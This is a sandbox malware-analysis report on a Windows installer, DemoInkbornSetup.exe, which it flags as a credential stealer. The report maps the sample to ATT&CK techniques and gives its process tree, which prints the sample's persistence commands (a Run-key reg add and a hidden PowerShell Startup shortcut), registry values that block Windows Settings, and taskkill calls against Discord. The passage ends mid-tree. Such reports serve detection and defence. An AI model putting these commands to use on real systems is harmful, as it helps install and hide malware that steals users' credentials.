cb5a075056bd66fd9d7f6d4b8c88f3779bd3db74c4864161093c422cf6956d31

Analysis

max time kernel
152s
max time network
162s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/10/2026, 22:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DemoInkbornSetup.exe
Size 129.3MB
Sample261016-2gft7aev5t
SHA256 cb5a075056bd66fd9d7f6d4b8c88f3779bd3db74c4864161093c422cf6956d31
MD5 788f9ab4d68b78cd51839c0c7a7d82a7
SHA1 e00d6fdc2cc72e9c9bf8ee0baf26ef8bbc5b682e
SHA512 f51ecf91d7aeb67560cc39292ced76333faa94289f457ed71ce0a9703cec80f73b1d862bd4932da2a05d192838822066b6401292f96ae382829bf837f6f9cd41
SSDEEP 3145728:k0+TVyGt5r5A7XuNI2Jc/V1uNFbk72cULrCvYvvzHow8nG7:OJyGt5FIXuN/bkHULrCgn8w8W
TLSH
T16558336F885CD2CAFBB0D777D32228BAAD7D7E4545A0F2C41C44A354A44E78A9F87423
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Blocks application from running via registry modification 10 IoCs

Adds application to list of disallowed applications.

defense_evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "SystemSettings.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "SystemSettingsAdminFlows.exe"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "SystemSettings.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "SystemSettingsAdminFlows.exe"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4360	powershell.exe
2856	powershell.exe
2524	powershell.exe
2564	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 8 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\emre.lnk	powershell.exe

Executes dropped EXE 10 IoCs

pid	Process
432	DemoInkbornSetup.exe
3504	DemoInkbornSetup.exe
5408	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
2748	data_helper.exe
4796	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
5060	data_helper.exe
3516	java.exe
3284	javaw.exe

Loads dropped DLL 41 IoCs

pid	Process
1700	DemoInkbornSetup.exe
1700	DemoInkbornSetup.exe
1700	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
6112	DemoInkbornSetup.exe
1680	DemoInkbornSetup.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3284	javaw.exe
3284	javaw.exe
3284	javaw.exe
3284	javaw.exe
3284	javaw.exe
3284	javaw.exe
3284	javaw.exe
3516	java.exe
3284	javaw.exe
3516	java.exe
3284	javaw.exe
3516	java.exe
3284	javaw.exe
3516	java.exe
3284	javaw.exe
3516	java.exe
3284	javaw.exe
3516	java.exe
3516	java.exe
3516	java.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\emre = "\"C:\\Users\\Admin\\AppData\\Local\\emre\\jre\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Local\\emre\\emre.jar\" --startup"	reg.exe

Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
1488	cmd.exe
884	cmd.exe
1056	cmd.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
9	api.ipify.org

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3336	tasklist.exe
1368	tasklist.exe
4768	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3544	wscript.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1488	cmd.exe
1056	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6008	sc.exe
4740	sc.exe
2416	sc.exe
5056	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4952	cmd.exe
4496	cmd.exe
4836	cmd.exe
2076	cmd.exe
4520	cmd.exe
3220	cmd.exe
1776	cmd.exe
5468	cmd.exe
5764	cmd.exe
248	cmd.exe
2580	cmd.exe
3716	cmd.exe
4380	cmd.exe
2656	cmd.exe
2952	cmd.exe
5880	cmd.exe
1944	cmd.exe
3200	cmd.exe
616	cmd.exe
2376	cmd.exe
5040	cmd.exe
2484	cmd.exe
4900	cmd.exe
456	cmd.exe
4108	cmd.exe
1576	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	java.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	java.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DemoInkbornSetup.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1284	chrome.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	DemoInkbornSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	DemoInkbornSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javaw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	javaw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	java.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	java.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
3112	taskkill.exe
1824	taskkill.exe
3344	taskkill.exe
3112	taskkill.exe
884	taskkill.exe
5988	taskkill.exe
1164	taskkill.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5608	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
3516	java.exe
3516	java.exe
4360	powershell.exe
4360	powershell.exe
4360	powershell.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
2856	powershell.exe
2856	powershell.exe
3516	java.exe
3516	java.exe
2856	powershell.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe
3516	java.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	1700	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	432	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	432	DemoInkbornSetup.exe
Token: SeRestorePrivilege	2748	data_helper.exe
Token: 35	2748	data_helper.exe
Token: SeSecurityPrivilege	2748	data_helper.exe
Token: SeSecurityPrivilege	2748	data_helper.exe
Token: SeShutdownPrivilege	432	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	432	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	432	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	432	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeRestorePrivilege	5060	data_helper.exe
Token: 35	5060	data_helper.exe
Token: SeSecurityPrivilege	5060	data_helper.exe
Token: SeSecurityPrivilege	5060	data_helper.exe
Token: SeShutdownPrivilege	432	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	432	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeDebugPrivilege	884	taskkill.exe
Token: SeDebugPrivilege	3344	taskkill.exe
Token: SeDebugPrivilege	5988	taskkill.exe
Token: SeDebugPrivilege	3112	taskkill.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeDebugPrivilege	1368	tasklist.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeDebugPrivilege	1164	taskkill.exe
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeDebugPrivilege	3516	java.exe
Token: SeTcbPrivilege	3516	java.exe
Token: SeImpersonatePrivilege	3516	java.exe
Token: SeAssignPrimaryTokenPrivilege	3516	java.exe
Token: SeTakeOwnershipPrivilege	3516	java.exe
Token: SeRestorePrivilege	3516	java.exe
Token: SeShutdownPrivilege	3504	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	3504	DemoInkbornSetup.exe
Token: SeDebugPrivilege	3516	java.exe
Token: SeTcbPrivilege	3516	java.exe
Token: SeImpersonatePrivilege	3516	java.exe
Token: SeAssignPrimaryTokenPrivilege	3516	java.exe
Token: SeTakeOwnershipPrivilege	3516	java.exe
Token: SeRestorePrivilege	3516	java.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
432	DemoInkbornSetup.exe
3504	DemoInkbornSetup.exe
5488	chrome.exe
5488	chrome.exe
5488	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3516	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 432	1700	DemoInkbornSetup.exe	91
PID 432 wrote to memory of 3504	432	DemoInkbornSetup.exe	92
PID 432 wrote to memory of 5408	432	DemoInkbornSetup.exe	93
PID 432 wrote to memory of 6112	432	DemoInkbornSetup.exe	94
PID 432 wrote to memory of 6112	432	DemoInkbornSetup.exe	94
PID 3504 wrote to memory of 2748	3504	DemoInkbornSetup.exe	95
PID 3504 wrote to memory of 4796	3504	DemoInkbornSetup.exe	97
PID 3504 wrote to memory of 1680	3504	DemoInkbornSetup.exe	98
PID 3504 wrote to memory of 1680	3504	DemoInkbornSetup.exe	98
PID 3504 wrote to memory of 5060	3504	DemoInkbornSetup.exe	99
PID 3504 wrote to memory of 5608	3504	DemoInkbornSetup.exe	101
PID 3504 wrote to memory of 2564	3504	DemoInkbornSetup.exe	102
PID 3504 wrote to memory of 3516	3504	DemoInkbornSetup.exe	106
PID 3516 wrote to memory of 5988	3516	java.exe	109
PID 3516 wrote to memory of 884	3516	java.exe	175
PID 3516 wrote to memory of 3112	3516	java.exe	206
PID 3516 wrote to memory of 3344	3516	java.exe	176
PID 3516 wrote to memory of 4836	3516	java.exe	118
PID 4836 wrote to memory of 1824	4836	cmd.exe	208
PID 3516 wrote to memory of 2076	3516	java.exe	121
PID 3516 wrote to memory of 1368	3516	java.exe	123
PID 2076 wrote to memory of 4160	2076	cmd.exe	188
PID 3516 wrote to memory of 4520	3516	java.exe	126
PID 4520 wrote to memory of 4324	4520	cmd.exe	128
PID 3516 wrote to memory of 3220	3516	java.exe	129
PID 3220 wrote to memory of 5100	3220	cmd.exe	131
PID 3516 wrote to memory of 2952	3516	java.exe	132
PID 2952 wrote to memory of 4844	2952	cmd.exe	134
PID 3516 wrote to memory of 1776	3516	java.exe	135
PID 1776 wrote to memory of 1676	1776	cmd.exe	137
PID 3516 wrote to memory of 2580	3516	java.exe	138
PID 2580 wrote to memory of 1196	2580	cmd.exe	140
PID 3516 wrote to memory of 3716	3516	java.exe	141
PID 3716 wrote to memory of 4284	3716	cmd.exe	143
PID 3516 wrote to memory of 5880	3516	java.exe	144
PID 5880 wrote to memory of 1532	5880	cmd.exe	146
PID 3516 wrote to memory of 5040	3516	java.exe	147
PID 5040 wrote to memory of 2132	5040	cmd.exe	149
PID 3516 wrote to memory of 5468	3516	java.exe	150
PID 5468 wrote to memory of 4748	5468	cmd.exe	152
PID 3516 wrote to memory of 5764	3516	java.exe	153
PID 5764 wrote to memory of 2040	5764	cmd.exe	155
PID 3516 wrote to memory of 4380	3516	java.exe	156
PID 4380 wrote to memory of 1164	4380	cmd.exe	158
PID 3516 wrote to memory of 2484	3516	java.exe	159
PID 2484 wrote to memory of 4740	2484	cmd.exe	161
PID 3516 wrote to memory of 248	3516	java.exe	162
PID 248 wrote to memory of 4212	248	cmd.exe	164
PID 3516 wrote to memory of 4900	3516	java.exe	165
PID 4900 wrote to memory of 5772	4900	cmd.exe	167
PID 5772 wrote to memory of 3824	5772	net.exe	168
PID 3516 wrote to memory of 456	3516	java.exe	169
PID 456 wrote to memory of 2416	456	cmd.exe	171
PID 3516 wrote to memory of 1488	3516	java.exe	172
PID 1488 wrote to memory of 4360	1488	cmd.exe	174
PID 3516 wrote to memory of 884	3516	java.exe	175
PID 884 wrote to memory of 2856	884	cmd.exe	177
PID 3516 wrote to memory of 4108	3516	java.exe	178
PID 4108 wrote to memory of 1872	4108	cmd.exe	180
PID 3516 wrote to memory of 1576	3516	java.exe	181
PID 1576 wrote to memory of 4784	1576	cmd.exe	183
PID 3516 wrote to memory of 4952	3516	java.exe	184
PID 4952 wrote to memory of 2344	4952	cmd.exe	186
PID 3516 wrote to memory of 4496	3516	java.exe	187

C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
"C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
  C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
    C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Users\Admin\AppData\Local\emre\data_helper.exe
      C:\Users\Admin\AppData\Local\emre\data_helper.exe x C:\Users\Admin\AppData\Local\emre\data.7z -p4YvaFsUQ2DVA -oC:\Users\Admin\AppData\Local\emre -y
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2748
  - - C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
      "C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --field-trial-handle=2152,i,2017146231204988495,1724709090129976738,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=2156,i,7150456766331979136,3005341748108528374,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2188 /prefetch:11
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:4796
  - - C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
      "C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2152,i,2017146231204988495,1724709090129976738,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=2156,i,7150456766331979136,3005341748108528374,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2148 /prefetch:2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1680
  - - C:\Users\Admin\AppData\Local\emre\data_helper.exe
      C:\Users\Admin\AppData\Local\emre\data_helper.exe x C:\Users\Admin\AppData\Local\emre\jre.zip -oC:\Users\Admin\AppData\Local\emre\jre -y
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5060
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v emre /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\emre\jre\bin\javaw.exe\" -jar \"C:\Users\Admin\AppData\Local\emre\emre.jar\" --startup" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:5608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$s=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\emre.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\emre\jre\bin\javaw.exe';$s.Arguments='-jar \"C:\Users\Admin\AppData\Local\emre\emre.jar\" --startup';$s.WindowStyle=7;$s.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2564
  - - C:\Users\Admin\AppData\Local\emre\jre\bin\java.exe
      C:\Users\Admin\AppData\Local\emre\jre\bin\java.exe -jar C:\Users\Admin\AppData\Local\emre\emre.jar
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Reads the TCP/IP host and domain name from the registry
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3516
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM "Discord.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5988
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM "DiscordCanary.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:884
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM "DiscordPTB.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3112
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM "DiscordDevelopment.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3344
    - - C:\Windows\SYSTEM32\cmd.exe
        
